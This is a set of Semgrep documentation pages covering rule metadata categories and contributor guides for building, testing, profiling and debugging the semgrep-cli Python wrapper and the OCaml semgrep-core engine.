* [`javascript.sequelize.security.audit.sequelize-injection-express.express-sequelize-injection`](https://semgrep.dev/r/javascript.sequelize.security.audit.sequelize-injection-express.express-sequelize-injection)
```yaml theme={null}
subcategory:
- vuln
```
##### audit
An audit rule is useful for code auditors. For example, an SQL rule which finds all uses of the `database.exec(...)` that can be problematic. Example:
* [`generic.html-templates.security.unquoted-attribute-var.unquoted-attribute-var`](https://semgrep.dev/r/generic.html-templates.security.unquoted-attribute-var.unquoted-attribute-var)
```yaml theme={null}
subcategory:
- audit
```
##### secure default
A secure default rule makes use of inherently secure libraries, frameworks, configurations, or settings. These rules enforce the mitigation of common security concerns, such as preventing cross-site request forgery (CSRF) by properly verifying inbound requests in Django or Flask applications.
A secure default rule must contain remediation that suggests applying a one-time setting that ensures security throughout the codebase without the need for repeated application by developers. For example, configuring a global security setting in a web application framework that applies to all routes and inputs.
```yaml theme={null}
subcategory:
- secure default
```
#### Technology
Technology helps to define specific rulesets for languages, libraries, and frameworks that are available in [Semgrep Registry](https://semgrep.dev/explore), for example `express` will be included in the `p/express` ruleset.
* [`javascript.express.security.audit.express-open-redirect.express-open-redirect`](https://semgrep.dev/r/javascript.express.security.audit.express-open-redirect.express-open-redirect)
```yaml theme={null}
technology:
- express
```
#### Vulnerability class
The vulnerability class defines the category to which a rule and its resulting findings belong. The categories are used to group rules in Semgrep AppSec Platform's **Policies** page to help find similar rules. The category is also displayed on the **Finding Details** pages.
You can provide custom values. Sample values include:
* Active Debug Code
* Code Injection
* Command Injection
* Cookie Security
* Cross-Site Request Forgery (CSRF)
* Cross-Site-Scripting (XSS)
* Cryptographic Issues
* Dangerous Method or Function
* Denial-of-Service (DoS)
* Hard-coded Secrets
* Improper Authentication
* Improper Authorization
* Improper Encoding
* Improper Validation
* Insecure Deserialization
* Insecure Hashing Algorithm
* Insufficient Logging
* LDAP Injection
* Mass Assignment
* Memory Issues
* Mishandled Sensitive information
* Open Redirect
* Other Security
* Path Traversal
* SQL Injection
* Server-Side Request Forgery (SSRF)
* XML Injection
* XPath Injection
## Update existing rules in Semgrep Registry
Find a rule you want to update in the [semgrep-rules](https://github.com/semgrep/semgrep-rules/) repository.
Submit a PR to the repository with your new update.
Follow the same instructions and recommendations as you can find in the rest of this document. For example the security category has specific metadata requirements.
Leave a message in the PR. Explain why are you making changes. What is the motivation for this update?
See a [PR example](https://github.com/semgrep/semgrep-rules/pull/2730).
There can be specific messages in the repositoryβs pipeline informing you about specific details of your rule. Ensure that your rule fulfills all of the necessities and requirements. However, sometimes the pipeline running in the [semgrep-rules](https://github.com/semgrep/semgrep-rules/) repository can have specific issues. In such a case, wait for a Semgrep reviewer's help.
[OWASP-DOM-based-XSS-prevention]: https://cheatsheetseries.owasp.org/cheatsheets/DOM_based_XSS_Prevention_Cheat_Sheet.html
# semgrep-cli contributing
Source: https://docs.semgrep.dev/contributing/semgrep-contributing
This article explains how to build `semgrep-cli` so that you can make and test changes to the Python wrapper.
The `semgrep-cli` name refers to the project that exposes the actual `semgrep` command. The README explains the relationship between `semgrep-cli` and `semgrep-core`.
## Prerequisite
* Python >= 3.10 installed in your local machine.
* [`pipenv`](https://github.com/pypa/pipenv) for managing your virtual
environment.
* Install it by following the `pipenv` [documentation](https://pipenv.pypa.io/en/latest/installation.html).
* Ensure that `pipenv` is on your `$PATH` before proceeding.
## Set up the environment
Most Python development is done inside the `cli` directory:
```bash theme={null}
cd cli
```
Next, initialize and enter the virtual environment. The following command installs developer dependencies, such as `pytest`, and installs `semgrep` in editable mode in the virtual environment. From the `cli` directory, run the following command:
```bash theme={null}
pipenv shell
```
By convention, your shell prompt is prepended with `(cli)` when the virtual environment is active.
Next, install the Python dependencies:
```bash theme={null}
SEMGREP_SKIP_BIN=true pipenv install --dev
```
**INFO**
`SEMGREP_SKIP_BIN` tells the installer that you'll use your own `semgrep-core`; see below.\*
Running `which semgrep` should return a path within your virtual environment. On macOS, this is likely contained within `$HOME/.local/share/virtualenvs/`.
## Get the `semgrep-core` binary
Almost all usages of `semgrep-cli` require the `semgrep-core` binary.
To get the binary, follow the instructions in [Building `semgrep-core`](/contributing/semgrep-core-contributing#build-semgrep-core). It takes approximately 20 minutes.
### Use a precompiled binary
You can use a precompiled binary, but note two downsides:
* You cannot modify `semgrep-core`, for example, to fix a parse error.
* Semgrep scans fail if the interface between `semgrep-cli` and `semgrep-core` has changed since the binary was compiled. This has happened roughly every two months historically, but can happen at any time without notice.
If you installed Semgrep using Homebrew (with `brew install semgrep`), a `semgrep-core` binary was bundled within that installation. However, it is not made available on your `$PATH` by default.
You can add the bundled binary to your `$PATH` with this series of commands, provided you have `jq` installed:
```bash theme={null}
export SEMGREP_BREW_INSTALLED_VERSION="$(brew info --json semgrep | jq '.[0].installed[0].version' -r)"
export SEMGREP_BREW_INSTALL_PATH="$(brew --cellar semgrep)/${SEMGREP_BREW_INSTALLED_VERSION}"
export SEMGREP_BREW_PYTHON_PACKAGE_PATH="$(${SEMGREP_BREW_INSTALL_PATH}/libexec/bin/python -m pip list -v | grep '^semgrep\b' | awk '{ print $3 }')"
export SEMGREP_BREW_CORE_BINARY_PATH="${SEMGREP_BREW_PYTHON_PACKAGE_PATH}/semgrep/bin"
export PATH="${SEMGREP_BREW_CORE_BINARY_PATH}:${PATH}"
```
## Run `semgrep-cli`
Ensure that you are in the `cli/` directory, and then issue the following command:
```bash theme={null}
pipenv run semgrep --help
```
To try a simple analysis, run:
```bash theme={null}
echo 'if 1 == 1: pass' | semgrep --lang python --pattern '$X == $X' -
```
You now have Semgrep running locally.
## Install `semgrep`
You can always run `semgrep` from `cli/`, which will use your latest changes in that directory, but you may also want to install the `semgrep` binary. To do this, run
```bash theme={null}
pipenv install --dev
```
If you encounter difficulties, reach out to the [`semgrep` team on Slack](https://go.semgrep.dev/slack).
Now you can run `semgrep --help` from anywhere.
If you have installed `semgrep-core` from source, there are convenient targets in the root Makefile that let you update all binaries. After you pull, run:
```bash theme={null}
make rebuild
```
See the Makefile in `cli/`
## Add Python packages to `semgrep`
Semgrep uses `mypy` to do static type-checking of its Python code. Therefore, when adding a new Python package, you also need to add typing stubs for that package. This can be done in three steps. For example, suppose you are adding the package `pyyaml` to Semgrep.
Install the corresponding package with typing stubs. For this `pyyaml` example, the corresponding package is `types-pyyaml`. In the following command, `--dev` specifies that this package is needed for development but not in production. This command updates `cli/Pipfile` with the typing stubs package, and adds both the typing stubs and the package itself to your `Pipfile.lock`. This allows you to import the package in your code (for example, `import yaml as pyyaml`).
```bash theme={null}
pipenv install --dev types-pyyaml
```
Add the typing stubs package to `.pre-commit-config.yaml` so that the pre-commit `mypy` hook can find the package.
```yaml theme={null}
- id: mypy
additional_dependencies: &mypy-deps
- ...
- types-PyYAML
```
Add the original package to `cli/setup.py` in the `install_requires` list variable. You can find the version number either in the `Pipfile.lock` file or by looking up the most recent major version of the package online.
```text theme={null}
install_requires = [
...
"pyyaml~=6.0",
]
```
This change makes your package a dependency of published Semgrep. Without this change, if you create a pull request, the CI job called `build docker image` fails with a `ModuleNotFoundError`, indicating it cannot find your package.
## Troubleshooting
For a reference build that's known to work, consult the root `Dockerfile`
to build Semgrep inside a container. You can check that it builds with
```bash theme={null}
docker build -t semgrep .
```
## Testing
`semgrep-cli` uses [`pytest`](https://docs.pytest.org/en/latest/) for testing.
To run tests, run the following command:
```bash theme={null}
pipenv run pytest
```
There are some much slower tests that run Semgrep on many open source projects. To run these slow tests, run:
```bash theme={null}
pipenv run pytest tests/qa
```
If you want to update the tests to match the current output:
```bash theme={null}
make regenerate-tests
```
If you want to run a single test file:
```bash theme={null}
pipenv run pytest path/to/test.py
```
Or run an individual test function:
```bash theme={null}
pipenv run pytest path/to/test.py::test_func_name
```
`semgrep-cli` also includes [`pytest-benchmark`](https://pytest-benchmark.readthedocs.io/en/latest/)
to allow for basic benchmarking functionality. Run the following command:
```bash theme={null}
pipenv run pytest --benchmark-only
```
# semgrep-core contributing
Source: https://docs.semgrep.dev/contributing/semgrep-core-contributing
The following explains how to build `semgrep-core` so you can make and test changes to the OCaml code. Once you have `semgrep-core` installed, you can refer to [semgrep-contributing](/contributing/semgrep-contributing) to see how to build and run the Semgrep application.
## Build `semgrep-core`
This document assumes you are building on MacOS and have already installed the Homebrew package manager. Installation commands and package names for different OSes may vary slightly.
### Check out the code
Begin by cloning the Semgrep repo from Git. Each parser's tree-sitter code is managed as a separate submodule, so pass `--recurse-submodules` to ensure they are cloned as well.
```bash theme={null}
git clone --recurse-submodules https://github.com/semgrep/semgrep
cd semgrep
```
If you have already cloned without submodules, you can check them out as a second separate step from the root of the repository:
```bash theme={null}
git submodule update --init --recursive
```
### Prerequisites
`semgrep-core` is written primarily in OCaml. You must [install OCaml](https://opam.ocaml.org/doc/Install.html) and its package manager OPAM, and pin the current compiler version. On MacOS, it is done through the following steps:
```bash theme={null}
brew install opam
opam init
opam switch create semgrep 5.3.0
eval $(opam env)
```
Next, install some base packages required for setup and compilation.
```bash theme={null}
brew install pkg-config bash
```
Lastly, you will almost certainly want the Python environment for `semgrep-cli`
configured before proceeding. Please refer to the [Set up the environment](/contributing/semgrep-contributing#set-up-the-environment) documentation.
Once you've returned here, ensure that your shell is able to enter the Python
virtual environment.
```bash theme={null}
cd cli; pipenv shell # enter the virtual environment
cd .. # from within the virtual environment, return to the repo root
```
### First-time installation
The root `Makefile` contains targets that take care of building the
right things. It is commented. Please refer to it and keep it
up-to-date.
To install all necessary dependencies, run
```bash theme={null}
make setup
```
Next, to install `semgrep-core`, run
```bash theme={null}
make core
```
Finally, test the installation with
```bash theme={null}
bin/semgrep-core -help
```
If you would like to finish the Semgrep installation, return to the
[Python-side instructions](/contributing/semgrep-contributing).
### Rebuild after a change
Unless there is a significant dependency change, you won't need to run `make dev-setup` again.
The Semgrep team has provided useful targets to help you build and link the entire semgrep project, including both `semgrep-core` and `semgrep`. You may find these helpful.
To install the latest OCaml binaries and `semgrep` binary after pulling source code changes from Git, run:
```bash theme={null}
make rebuild
```
To install after you make a change locally, run
```bash theme={null}
make build # or just `make`
```
After making either of these targets, `semgrep` runs with all your local changes, OCaml and Python both.
```
Because this updates the `semgrep` binary, if you do not have your Python environment configured properly, you will encounter errors when running these commands. Follow the procedure under [Development](#development)
```
## Development
In practice, it is not always convenient to use `make build` or `make rebuild`. `make rebuild` will update everything within the project; `make build` will compile and install all the binaries. You can do this yourself in a more targeted fashion.
Below is a flow appropriate for frequent developers of `semgrep-core`
After you pull, run
```bash theme={null}
git submodule update --recursive
```
This will update internal dependencies. (We suggest aliasing it to `uu`)
After `tree-sitter` is updated, you may need to reconfigure it. If so, run
```bash theme={null}
make config
```
### Develop `semgrep-core`
If you are developing `semgrep-core`, Use `Makefile` in the repository root for `core` and `core-test` targets; the code is primarily in `src/`.
The following assumes you are in the repository root.
After you pull or make a change, compile using
```bash theme={null}
make
```
This will build an executable for `semgrep-core` in `_build/default/src/main/Main.exe` (we suggest aliasing this to `sc`). Try it out by running
```bash theme={null}
_build/default/src/main/Main.exe -help
```
When you are done, test your changes with
```bash theme={null}
make core-test
```
Finally, to update the `semgrep-core` binary used by `semgrep`, run
```bash theme={null}
make copy-core-for-cli
```
### Test `semgrep-core`
`make test` in the repository root directory will run tests that check code is correctly parsed
and patterns perform as expected. To add a test in an appropriate language subdirectory, `tests/patterns/[LANG]`, create a target file (expected file extension given language) and a .sgrep file with a pattern. The testing suite will check that all places with a comment with `ERROR` were matches found by the .sgrep file. See existing tests for more clarity.
If you are diagnosing test failures, it is time-consuming to re-run the entire test suite.
`make retest` will only re-run tests that failed.
### Development environment
OCaml installations include a language server that most modern editors like
Neovim and Emacs support out of the box.
You can also use Visual Studio Code (vscode) to edit the code of Semgrep. The [reason-vscode](https://marketplace.visualstudio.com/items?itemName=jaredly.reason-vscode) Marketplace extension adds support for OCaml/Reason.
The [OCaml and Reason IDE extension](https://github.com/reasonml-editor/vscode-reasonml) by @freebroccolo is another valid extension, but it seems not as actively maintained as reason-vscode.
The source of Semgrep contains also a .vscode/ directory at its root containing a task file to automatically build Semgrep from vscode.
Note that dune and ocamlmerlin must be in your PATH for vscode to correctly build and provide cross-reference on the code. In case of problems, do:
```bash theme={null}
cd /path/to/semgrep
eval $(opam env)
dune --version # just checking dune is in your PATH
ocamlmerlin -version # just checking ocamlmerlin is in your PATH
code .
```
## Test Semgrep performance
### Explore results from a slow run of Semgrep
#### Interpret the result object
For full timing information, run Semgrep with `--time` and `--json` flags. In addition, you can add `time` at the beginning of the command to get the true wall time. The `--json` argument produces a large amount of output, so redirecting the output to a file with `-o` is recommended.
See the following example for the full command:
```bash theme={null}
time semgrep --config=auto --time --json -o result.json PATH/TO/SRC
```
Substitute the optional placeholder `PATH/TO/SRC` with the path to your source code.
Here is an example result object.
```json expandable theme={null}
{ "results": [],
"paths": {},
"errors": [],
"time": {
"max_memory_bytes": 48693248,
"profiling_times": {
"config_time": 0.0624239444732666,
"core_time": 0.11341428756713867,
"ignores_time": 0.00017690658569335938,
"total_time": 0.17628788948059082
},
"rules": [
{
"id": "test-rule"
}
],
"rules_parse_time": 0.0013418197631835938,
"targets": [
{
"match_times": [
5.9604644775390625e-06
],
"num_bytes": 340,
"parse_times": [
0.0071868896484375
],
"path": "test_functions.java",
"run_time": 0.011521100997924805
}
],
"total_bytes": 340
}
}
```
All the information about timing is contained under `time`.
The first section is `profiling_times`. This contains wall time durations of various relevant steps:
* Getting the rule config files (`config_time`)
* Running the main engine (`core_time`)
* Processing the ignores (`ignores_time`)
The `total_time` field represents the sum of these steps.
The remaining fields report engine performance. Together, `rule_parse_time` and `targets` should capture all the time spent running `semgrep-core`.
`rule_parse_time` is straightforward. It records the time spent parsing the rules file.
`targets` poses more difficulty. Since files are run in parallel, the amount of time spent parsing (`parse_times`) and matching (`match_times`) will inevitably be meaningless compared against `total_time` or `core_time`. Therefore, the total run time (`run_time`) of each target for each rule is taken within the parallel run. This helps contextualize the time spent parsing and matching each target. The sum of the run times thus can (and usually should) be longer than the total time.
The lists `match_times` and `parse_times` are in the same order as `rules`. That is, the match time of rule `rules[0]` is `match_times[0]`.
Note that `parse_times` is given for each rule, but a file should only be parsed once (the first number). Afterwards, the parse time represents the time spent retrieving the file's AST from the cache.
#### Negative values in the metrics
When a time is not measured, by default it has the value -1. It is common to a have a normal runtime, but -1 for the parse time or match time; this indicates an error in parsing.
#### Tips for exploring Semgrep results
There are several scripts already written to analyze and summarize these timing data. Find them in [`scripts/processing-output`](https://github.com/semgrep/semgrep/tree/develop/scripts/processing-output). If you have a timing file, you can run
```bash theme={null}
python read_timing.py [your_timing_file]
```
You may need to adjust the line `result_times = results` based on whether you have a timing file or the full results (in which case this should be `result_times = results["time"]`)
### Profile code
You can pass the -profile command-line argument to semgrep-core to get
a short profile of the code. For example, running:
```bash theme={null}
cd semgrep-core
./bin/semgrep-core -profile -e foo tests/python
```
will output:
```bash theme={null}
---------------------
profiling result
---------------------
Main total : 1.975 sec 1 count
Parse_python.parse : 0.828 sec 1 count
...
```
You can also instead set the environment variable SEMGREP\_CORE\_PROFILE to 1 to get the same information:
```bash theme={null}
cd semgrep-core
export SEMGREP_CORE_PROFILE=1
./bin/semgrep-core -e foo tests/python
```
will output:
```bash theme={null}
---------------------
profiling result
---------------------
Main total : 1.975 sec 1 count
Parse_python.parse : 0.828 sec 1 count
...
```
This is especially useful when you don't call directly semgrep-core, but
instead use the python wrapper semgrep.
Note that since semgrep 0.82, you can pass the `--dump-command-for-core` (or the shorter `-d`) to `semgrep` to get the command the python wrapper will use to call semgrep-core (this is an hidden option, which is why you will not see it in `semgrep --help`). For example:
```bash theme={null}
semgrep --dump-command-for-core --config bench/zulip/input/rules/zulip/rules.zulip.semgrep.yml.yaml bench/zulip/input/zulip/
```
will output:
```bash theme={null}
Running 10 rules...
/home/pad/github/semgrep/cli/src/semgrep/bin/semgrep-core -json -rules semgrep_rules.yaml -j 20 -targets semgrep_targets.txt -timeout 30 -timeout_threshold 0 -max_memory 0 -json_time -fast
```
where `semgrep_rules.yaml` and `semgrep_targets.txt` are files created by `semgrep` that respectively contain the list of rules and targets. It is easy then to copy-paste this command and possibly add a `-profile` or `-debug` to get more information.
You can also use the SEMGREP\_CORE\_DEBUG environment variable to add debugging
information, for example:
```bash theme={null}
export SEMGREP_CORE_DEBUG=1
export SEMGREP_CORE_PROFILE=1
pipenv run semgrep -f ../semgrep-core/tests/PERF/ajin.yaml ../semgrep-core/tests/PERF/three.js
```
will output:
```bash theme={null}
Debug mode On
Executed as: semgrep-core -lang javascript -rules_file /tmp/tmpy5pzp3p_ -j 8 ../semgrep-core/tests/PERF/three.js
Profile mode On
disabling -j when in profiling mode
PARSING: ../semgrep-core/tests/PERF/three.js
saving rules file for debugging in: /tmp/semgrep_core_rule-97ae74.yaml
---------------------
profiling result
---------------------
Main total : 1.975 sec 1 count
Parse_js.parse : 0.828 sec 1 count
Semgrep.check : 0.791 sec 1 count
Semgrep.match_sts_sts : 0.559 sec 185064 count
...
```
### Benchmark code
We have two sets of benchmarks, one on a suite of real repositories against real rulesets (real benchmarks), another that highlights specific slow (rule, file) pairs (micro benchmarks).
To run the micro benchmarks, go to `perf/perf-matching/`, and run `./run-perf-suite`.
To run the real benchmarks, go to `perf`, and run `./run-benchmarks`. See the perf [readme](https://github.com/semgrep/semgrep/blob/develop/perf/README.md) for more details on how these are set up.
There are a number of flags (`./run-benchmarks --help` to see them) which may be helpful if you are using the benchmarks for local development. For example, `./run-benchmarks --plot_benchmarks` will output a graph of the benchmark results at the end.
If you are concerned about performance, the recommended way to test is to hide your change behind a flag and add that flag to run-benchmarks. Add a flag in `src/configuring/Flag_semgrep.ml`. These are ref cells, so you can check whether the flag is enabled or not via `!Flag_semgrep.your_flag`. In `src/core_cli/Core_CLI.ml`, go to options, and add a flag that sets the appropriate `Flag_semgrep`. Then, in `perf/run-benchmarks`, go to the `SemgrepVariants` list, and add your variant.
You can also test the impact of your change by running `./run_benchmarks --std_only` in `perf`, which will only run the default version of semgrep.
In these next sections we will give an overview of `semgrep-core` and then some tips for making common changes to `semgrep-core`. These are only tips; without seeing an error, we cannot know its cause and proper resolution, but hopefully it gives useful direction.
## Cheatsheet
The following assume you are in the root of the repository.
Compilation:
* To compile: `make`
* To run the test suite: `make test`
* To install the `semgrep-core` binary: `make install`
* The `semgrep-core` executable produced by `make`: `_build/default/src/main/Main.exe` (alias `sc`)
Running (examples in Python):
* To match a rule file against a target: `sc -rules [your-rule].yaml [your-target].py -lang python`
* To match a pattern against a target: `sc -f [your-pattern].sgrep [your-target].py -lang python`
* To dump a pattern AST: `sc -dump_pattern [your-pattern].sgrep -lang python`
* To dump a target AST: `sc -dump_ast [your-target].py -lang python`
* To dump a pattern Python AST: `pf -dump_python [your_pattern].sgrep -sgrep_mode -lang python`
* To dump a target Python AST: `pf -dump_python [your_pattern].sgrep -lang python`
Debugging:
* To get the semgrep-core command the python wrapper will use: `semgrep --dump-command-for-core --config [your-config] [your-target-directory]`
Try it out: `sc -f tests/python/dots_stmts.sgrep tests/python/dots_stmts.py -lang python`
## `semgrep-core` overview
### Entry point
The entry point to `semgrep-core` is `Core_CLI.ml`, in `src/core_cli/`. This is where you add command-line arguments. It calls functions depending on the mode in which `semgrep-core` was invoked (`-config` for a yaml file, `-f` for a single pattern, etc.)
When invoked by `semgrep`, `semgrep-core` is called by default with `-config`. This corresponds to the function `semgrep_with_rules_file`, which in turn calls `semgrep_with_rules`. These functions will parse and then match the rule and targets.
### Parsing
`semgrep-core` uses external modules to parse code into augmented language-specific abstract syntax trees (ASTs). Though we call these ASTs, they additionally contain token information such as parentheses that are traditionally only present in concrete syntax trees (CSTs) so that we can output results in the correct range.
When `semgrep-core` receives a rule or a target, it will first need to parse it. The functions that do this are located in `src/parsing/`.
* If it reads a rule, it will go through `Parse_rule.ml`, which uses `Parse_pattern.ml` to parse the code-like portions of the rule
* If it reads a target, it will go through `Parse_target.ml`
Depending on the language, `Parse_pattern.ml` and `Parse_target.ml` will invoke parsers to parse the code. For example, if we have Java code, it will first be parsed into a Java-specific AST.
### Converting to the generic AST
`semgrep-core` does not match based on the Java AST. It has a generic AST, defined in `AST_generic.ml` (in `libs/ast_generic/`), which all language-specific ASTs are converted to.
The functions for this conversion are in either `languages/[LANG]/generic/`. They are named with the appropriate language in a consistent convention.
### Matching
The matching functions are contained in `src/engine/` (e.g. `Match_rules.ml`, `Match_patterns.ml`) and `src/matching/` (e.g. `Generic_vs_generic.ml`). There are several possible matchers to invoke
* spacegrep (for generic mode)
* regexp (to match by regexp instead of semgrep patterns)
* comby (an experimental mode for languages we don't yet support)
* pattern (the main mode)
We will only talk about the last for now. In most cases, `Match_rules.ml` will invoke the `check` function in `Match_patterns.ml`. This will visit the target AST and try to match the pattern to it at each point. If the pattern and the target node correspond, it will call the relevant function in `Generic_vs_generic.ml`.
The core of the matching is done by `Generic_vs_generic.ml`. The logic for whether two expressions, statements, etc. match is contained within this file.
### Report results
The results of the match will be returned to the calling function in `Main.ml` (for example, `semgrep_with_rules`). From there, the results are formatted and outputted.
There are two modes for outputting: JSON and text. JSON output is processed by functions in `JSON_report.ml` in `semgrep-core/src/reporting/`
## Fix a parse error
Before you start fixing a parse error, you need to know what parser was used. This bears some explanation.
### Guide to parsers
The parsers used by semgrep fall into these categories:
* legacy parsers (pfff): implemented directly in OCaml via a parser generator
* tree-sitter parsers: third-party parsers implemented as
[tree-sitter](https://tree-sitter.github.io/) grammars
* generic parser (spacegrep): fallback for unsupported languages,
comes with its own matching engine
For each language, we need a parser for target files and a parser for
semgrep patterns. For a given language, ideally both would use the same
parser. For historical reasons, some languages use a legacy
parser for patterns and a tree-sitter parser for target code.
Here's the breakdown by language as of February 2021:
* legacy parser for both pattern and target:
* OCaml
* PHP
* Python
* legacy parser for pattern, tree-sitter parser for target:
* C
* Go
* Java
* JavaScript, JSX, JSON
* Ruby
* TypeScript, TSX
* tree-sitter parser for both pattern and target:
* C#
* Kotlin
* Lua
* R
* Rust
### Fix a `pfff` parse error
#### Parse with `pfff`
[`pfff`](https://github.com/semgrep/pfff) is an OCaml project that we plug into `semgrep-core` as a git submodule. It uses menhir to generate parsers from a defined grammar.
Consider a Python pattern (or target). To parse it into a generic AST form, we transform the code as follows:
Text -- (via `Lexer_python.mll`) --> Tokens -- (via `Parser_python.mly`) --> `Ast_python` -- (via `Python_to_generic.ml`) --> `AST_generic`
These files live in different places. Specifically,
* `Lexer_python.mll` is in `semgrep-core/src/pfff/lang_python/parsing`
* `Parser_python.mly` is in `semgrep-core/src/pfff/lang_python/parsing`
* `AST_python.ml` is in `semgrep-core/src/pfff/lang_python/parsing`
* `Python_to_generic.ml` is in `semgrep-core/src/parsing/pfff`
* `AST_generic.ml` is in `semgrep-core/src/core/ast`
You will notice that the first three, `Lexer_python.mll`, `Parser_python.mly`, and `AST_python.ml` are in `semgrep-core/src/pfff/`, which is a submodule. This means that when you modify them, you modify the submodule rather than `semgrep-core`. You can develop as usual---`pfff` is compiled when you run `make` in `semgrep-core/`---but will need to go through an extra step to make a pull request (explained later).
When a language is particularly complicated, it can be convenient to first parse into a CST, then convert to the AST. Currently, we only do this for PHP. In this case, there is an extra step:
Tokens -- (via `Parser_php.mly`) --> `Cst_php` -- (via `Ast_php_build.ml`) --> `Ast_php`
The lexers and parsers apply for both patterns and targets of a given language. To avoid parsing invalid targets, we have a function `Flag_semgrep.sgrep_guard` which fails when parsing constructs that only appear in patterns if a target is being parsed.
#### Identify the error
The source of the error can be anywhere along the Text --> `AST_generic` path, so you will want to identify which file is causing it.
First, create a minimum failing case. If you are debugging a rule, isolate this to an individual pattern if possible, saved in a `.sgrep` file.
For simplicity, we will use Python in the examples, but you can substitute Python for any language parsed with `pfff`.
If the problem is in `Lexer_python.mll`, you will probably get a helpful error message which should tell you what you need to change.
If the problem is in `Parser_python.mly`, you will probably not get a helpful error message, because the error will be reported in the generated parser, not the grammar. To identify which production within the grammar is problematic, you will want to see what AST the parser is trying to produce. Modify the failing case minimally until it parses successfully.
Now, you need to see what generic AST is produced by this similar code. You can actually do this in the playground, by going to Tools -> Dump AST. On the command line, you can run
* For a pattern:
```bash theme={null}
sc -dump_pattern -f [your_pattern].sgrep -lang python
```
* For a target:
```bash theme={null}
sc -dump_ast [your_target].py -lang python
```
where `sc` is an alias for `semgrep-core/_build/default/src/cli/Main.exe`, the executable produced by running `make` in `semgrep-core/`. If you have installed `semgrep-core`, you can instead use `semgrep-core` here, but each time you make a change you will need to compile (`make`) and then install (`make install`).
By default, tokens are not shown in full in the dumped AST. Their presence is indicated by `()`.
You may also find it useful to see the Python AST representation of the pattern. Just as `make` produces an executable for `semgrep-core` in `semgrep-core/_build/default/src/cli/Main.exe`, it also produces one for `pfff` in `semgrep-core/_build/default/src/pfff/cli/Main.exe` (alias to `pf` for these docs).
To dump the Python AST, run
* For a pattern:
```bash theme={null}
pf -dump_python [your_pattern].sgrep -sgrep_mode -lang python
```
* For a target:
```bash theme={null}
pf -dump_python [your_target].py -lang python
```
(Note that `-sgrep_mode` does not always work with incomplete programs. You may need to wrap your pattern so that it is a valid program for that language, except for semgrep constructs such as `...`)
#### Fix the error
At this point, the relevant change you need to make will vary depending on your goal. It may be as simple as adding `...` as a possible case. It may require you to introduce a new construct and add it to `AST_generic` and `Ast_python`. As a rule of thumb, prefer to avoid changing `AST_generic` if possible. This will also make your life easier!
If you add a pattern-specific feature, remember to use `Flag_semgrep.sgrep_guard` so that an invalid target does not parse successfully.
When you change the grammar, it is important that you do not introduce conflicts. Check the conflicts before you start by forcing dune to compile the grammar. (You can either use `make clean` and read through the output or make a change in `Parser_python.mly`, run `make`, then remove the change and run `make` again.) Then, after you change the grammar, see if there are any more conflicts than there were before your change.
It can sometimes be okay to introduce a `shift/reduce` conflict, though avoid doing this if possible. It is never okay to introduce a `reduce/reduce` conflict. To understand why, read about [LR(1) parsers](https://en.wikipedia.org/wiki/Canonical_LR_parser).
If you do introduce a conflict, you can figure out how to resolve it by running
```bash theme={null}
menhir --explain Parser_python.mly
```
This will produce the file `Parser_python.conflicts` in the same folder as `Parser_python.mly`, which will show the two possible interpretations Menhir is considering for each conflict.
Unfortunately, it will also produce `Parser_python.ml` and `Parser_python.mli`, which will confuse dune when it tries to build. Remove these files before you run `make` again.
#### Commit the fix
Once you have made your desired pattern or target parse, you need to make sure it doesn't break anything else. In `semgrep-core/`, run `make test`. If at the end it says `Ok`, you can commit your fix!
First, if you have any changes in `pfff`, go into the `semgrep-core/src/pfff/` directory, checkout `develop`, pull, and then make a pull request as usual with your changes. This will make a PR to [`pfff`](https://github.com/semgrep/pfff).
When you change files in `pfff`, `semgrep-core` will realize that `pfff` is different (though not which file within `pfff`). If you go back up to `semgrep-core/` and run `git status`, you will see `modified: src/pfff (modified content)`. To pin your latest `pfff` changes to `semgrep-core`, add `src/pfff`.
Now, make the rest of your pull request for `semgrep-core` as usual.
If you haven't changed `pfff`, don't worry about this. Just make a pull request with your changes.
Remember to add test cases so that future changes don't break your example! See [Test `semgrep-core`](#test-semgrep-core)
### Fix a Tree-sitter parse error
There is more information in [Add Support for a Language](#add-support-for-a-language) on tree-sitter which will be helpful. Also, see `semgrep-core/src/parsing/tree-sitter/`.
## Fix a match error
The first thing you will need to do is understand what you expected and why you aren't getting that. If possible, reduce your rule to a single pattern that doesn't match. You may need to experiment with the clauses in your rule. For example, if you are getting too many matches, it may be because the pattern in `pattern-not` doesn't match what you expect.
If you are unable to do so, you may need to investigate `Match_rule.ml`.
Otherwise, produce a minimal failing pattern/target pair. You will need to compare the ASTs to see which portion is not matching as you expect. Run
```bash theme={null}
sc -dump_ast [your_target].py -lang py
```
and then
```bash theme={null}
sc -dump_pattern [your_pattern].sgrep -lang py
```
It can be hard to figure out where in the AST you are looking. You can make it easier by using a distinctive variable name in the section you're interested in.
Once you've isolated the parts that aren't matching, try to figure out where they're different, taking into account special features like metavariables and ellipses. It is unlikely (though not impossible) that the problem would ever be that two identical code segments aren't matching or that there is some AST element that ellipses refuse to match. You might find it helpful to write out the AST parts you want to match on a whiteboard, indicating which part is matched by a special feature. Pare down the code as much as possible and try changing the bit you're interested in.
When you are sure you know what ought to have happened, make it happen. If two pieces of code should match but don't, change `Generic_vs_generic.ml` to tell it that pattern should match the target.
Oftentimes, a matching error is actually a parsing error. You may want to change how `Parser_python.mly` reduces the construct or how it gets converted in `Python_to_generic.ml`. Refer to [Fix a Parse Error](#fix-a-parse-error) for advice.
At the end, confirm the match with
```bash theme={null}
sc -f [your_pattern].sgrep [your_target].py -lang py
```
## Fix an Rule-defined fix error
Rule-defined fix runs through both `semgrep-core` and `semgrep`, but the most common error raised by Rule-defined fix you can encounter is a kind of incorrect range. This happens because `semgrep-core` determines the range of a match based on the locations of the tokens stored in the AST. When the range is incorrect, that usually means a token is missing. You can see token location information with
```bash theme={null}
sc -full_token_info -dump_ast [your_target].py -lang py
```
See [Fix a Parse Error](#fix-a-parse-error) for more on parsing
## Debugging resources
In the process of debugging, you will probably want to print things. We provide a function `pr2` in `Common.ml` (in `semgrep-core/src/pfff/commons/`) to print strings. You can also use the `Printf` module.
If you would like to print an AST element, you can use a `show` function. For example, to print a node of type `any` in `AST_generic`, you can use
`pr2 (show_any your_node)`
Any type that includes `[@@deriving show]` in its definition can be converted to a string in this way.
We also provide some flags that are useful. If you run with `-debug`, you can see the steps `semgrep-core` is taking. You can see more information (and change what you want to see) using `-log_config_file`, which takes a file. You can use one of `semgrep-core/log_config.json.ex1` or `semgrep-core/log_config.json.ex2` to start.
Additionally, the [OCaml debugger](https://ocaml.org/manual/debugger.html) is a great resource.
## Add support for a language
There are some cases where we have chosen to implement a new parser in `pfff`, but in general new languages should use tree-sitter.
